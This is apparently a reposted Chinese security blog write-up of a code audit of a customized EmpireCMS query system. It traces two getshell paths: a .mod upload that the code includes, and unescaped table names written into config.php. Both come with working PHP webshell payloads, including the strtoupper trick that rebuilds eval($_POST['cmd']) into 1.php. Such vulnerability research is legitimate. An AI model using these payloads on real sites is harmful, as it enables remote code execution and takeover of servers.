代码审计 | Ecms定制版代码审计实战思路分享

释放双眼,带上耳机,听听看~!

该文章来自于

掣雷安全小组

Gr33k


前言

朋友买了一套php源码,要做类似于证书查询的功能,让我帮忙审计一下有没有高危的漏洞,仅挖掘getshell,告知我这个系统是由ecms也就是帝国cms简化来的,仅有后台登录前台查询页面。

 

 

直奔主题

 

一、前台页面,仅有一个查询接口,猜想类似于后台插入数据,前台查询的这种方式。

二、登录后台,发现后台展示的功能十分有限,但是通过源码可以看到很多没有在页面上显示的功能。
后台显示:


php文件:

三、Ecms在之前的版本存在的getshell漏洞并不多,其中有一个是上传mod文件来getshell,为了更快的熟悉这套源码,我先尝试去查看mod文件getshell的具体逻辑,如下:

1、直接访问目标php文件,可以大体了解到该功能其实主要是用来创建数据库模型的:

2、在这里,分析以下代码的具体逻辑,首先可以看到这个表单被提交到了父目录的ecmsmod.php并且传递了为LoadInMod参数。


3、我们在ecmsmod.php中找到了接收请求的代码,从这里可以看出来,我们上传的.mod文件被加载进了LoadInMod这个函数,我们继续跟进。


4、在这里我们先看一下验证的逻辑,首先验证是否有文件上传过来,紧接着验证文件后缀是不是.mod,前面我们说过该功能点实现的就是创建模型,也就是建表,所以又验证了要新建的表的名称是否存在,这些做完以后就开始了文件上传,如下图方框内的内容所示。首先生成了文件上传之后的具体路径,在这里调用了make_password这个函数,是用来返回一个随机数用的,至此文件上传后的名称我们并不可控,紧接着使用move_uploaded_file完成文件上传。


5、我们发现文件上传完成之后,在下面几行出现了@include($path)这段代码,这就是mod文件getshell的主要原因,在path路径下此时已经存在了我们上传的mod文件,在这里竟然使用include来包含这个新生成的文件,那么就算文件名称我们不知道,我们也可以执行想要执行的php代码,构造mod文件如下:

<?fputs(fopen("c.php","w"),"<?eval(\$_POST[cmd]);?>")?>

执行完毕后,将在该目录下生成c.php直接访问即可getshell

  

四、经过一番熟悉,我们发现这套php代码的逻辑还是十分清晰的,虽然是经过阉割的ecms,但是保留了老版本的php问题代码,也许这套源码在ecms没有爆出这个漏洞时写的,那么看完了曾经的一个getshell漏洞后,接下来就需要再自己去挖掘这个cms没有被别人发现的漏洞(算个小0day,毕竟小众)。

五、我在阅读代码时对config.php这个文件十分感兴趣,它的文件结构大体是这样的:


我们可以看出其实这个文件中主要保存的就是一些变量的值,其中有我们非常感兴趣的东西,就是文件上传类型写死在这里了,后台的设置允许上传类型并不生效,开发者为了保证安全就在这里写死了,若是能覆盖对应的变量就可以上传php,这是一个思路。

六、模型,在ecms里通过之前对代码的熟悉,所谓的证书查询其实就是对一个表里的数据进行查询,后台可以定义新的表结构并且可以建表插数据进去,这样前台就可以查询到,这就是这个平台的核心功能,我浏览了许多关于模型相关的代码,终于被我找到了从来没有人发现的getshell方式。

七、首先经过一番思考,思路比较明确,就是看能不能操作config.php这个配置文件,我先看到AddClass.php这个文件,打开页面显示:


这里可以新建一个栏目进去,我随意输入11111111111111,然后添加成功,这时我利用审计工具搜索到了这个字符串已经被我写入到了文件中,可以看到在下面的这两个文件中,都出现了对应的字符串,有戏!。


八、我们进入config.php进行查看:

我们输入的字符串被写入到了这个位置,那么要想执行php代码我们首先要将单引号闭合掉,我尝试来关闭单引号,但是失败了,单引号被转义了。


九、既然单引号被转义了那么就不能执行php代码,具体的代码逻辑我也查看过了,是没有办法绕过,既然如此我们就换个位置继续尝试,这次,惊喜来了。

我找到的功能点是新建数据表这个功能,这个位置并没有对单引号等特殊符号进行过滤,插入效果如下。

可以看到后面的语法已经被完全破坏掉了,我们输入的特殊符号也被插入到了config.php文件中,现在看到这个状况就是上头,要写一句话php上去,但是问题来了,当我写入了一句话php的时候,我的大写的POST竟然变成了小写,在php语法中$_POST获取参数必须要大写,而且我又发现了一个问题,那就是直接访问config.php下面的代码是不会被执行的,因为在文件开头判断了一个参数是否有定义,注定只能被包含。

十、我们查看具体的逻辑:


发现还是之前访问的文件,不过这次走的逻辑是AddTable


我们继续跟进函数,在这里我们看到了罪魁祸首,这个函数将我们的输入转换成了小写,导致我们的$_POST变成了小写。


再向下看,我发现了一个更奇怪的现象,这里有两条sql语句,但是我们的输入中带有引号,他们竟然不报错。


经过了解,是因为当前我的php版本为5.2(PHP 5.4 之前 PHP 指令
 magic_quotes_gpc默认是on, 实际上所有的GET、POST 和 COOKIE 数据都用被 addslashes() 了。),从而其中的引号已经被转义,所以数据库语句不会报错,那么又一个问题出现了,为何我们插入到config.php的内容却是没有被转义的呢?我们继续看代码逻辑。


这两个函数的功能很明显,第一个是建表,第二个更新缓存就是向config.php中写文件。我们先来看第一个函数:


包含的这个文件里就是创建数据表的sql语句:


没有什么特别的地方,在这里如果没错新建的数据表中的单引号都是被转义的,结果也证实了我的猜想,所有的表名中的单引号都被转义了。

来看第二个函数GetConfig:


这里在生成配置文件时,是分段生成的,从config文件的结构也能看出来,它是使用
//--内容省略--//来分割的,我们的文本插入的位置在$r[2]这个位置,我们继续跟进:

我们最终找到了生成插入语句的位置,它将tbname从一个表中取出完成拼接字符串后,然后返回上层函数便插入了config.php中,那么tbname是怎样插入到这个表当中的呢?为什么从这个表中取出的tbname单引号没有被转义呢?,回到刚刚有两条sql语句的位置,其中一条是查询表是否已经存在,另一个语句就是插入数据到这个enewstable表,再放一次图:


开始我还很疑惑,转义符号为什么没有了,后来也就想明白了,转义毕竟是为了让数据库识别应该正确显示的字符,我还特意用mysql实验了一把,如图:

从而这个表中存储的数据都是没有转义的单引号:


这样一来,就完成了一次代码的回溯,找到了为何能写入config.php的原因。


十一、理一下思路,现在我们是可以向config.php写入字符,并且可以闭合单引号,但是有一个转小写的函数,这里还有一个问题但是我当时没有考虑到,那就是mysql的最大表名长度为64位,这导致了我一度以为是某段php代码做的限制,但是后来我并没有发现,才想到会不会是表名长度的原因。

十二、虽然有一些条件限制,但是还是可以写shell的,php中有一个转大写的函数,在这里就派上用场了,因为有长度限制,最后我生成的payload如下:

十三、开始写入:
1、

123']=1 ?>


这条语句是为了闭合前面的语句,从而逃出前面的php标签,执行后config文件如下:


可以看到我们已经成功闭合掉了标签,此时我们的页面显示也变的十分糟糕:


2、插入剩下的代码

<?php $a = '<?php @eval($_' ?>
<?php $b=strtoupper('post'?>
<?php $c='["cmd"]);?>'?>
<?php $d=$a.$b.$c?>
<?php fputs(fopen('1.php','w'),$d);?>
<?php phpinfo();?>


最后这条语句是检测我们的代码究竟有没有执行成功,若是成功phpinfo就会显示出来,另外config文件不能直接访问来触发,需要点击别的功能使它被包含才会执行其中的代码。


执行成功,我们可以看到,在当前目录下生成了1.php文件:


使用菜刀连接,getshell:

十四、这是一个之前没有被发现的getshell漏洞,当然时过境迁ecms的最新版本的代码已经不是这个样子了,只能说这个漏洞在这个定制化查询系统中还存在,或许还有一些我也没有找到的漏洞,但是就这样吧,之前的getshell加上这个。


觉得好看别忘了给点个在看哦

本文源自微信公众号:渗透云笔记

人已赞赏
安全工具

丢给你一个txt并同时获取你shell

2019-10-16 17:04:49

安全工具

代码审计基础之还不滚进来学习

2019-10-16 17:04:55

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索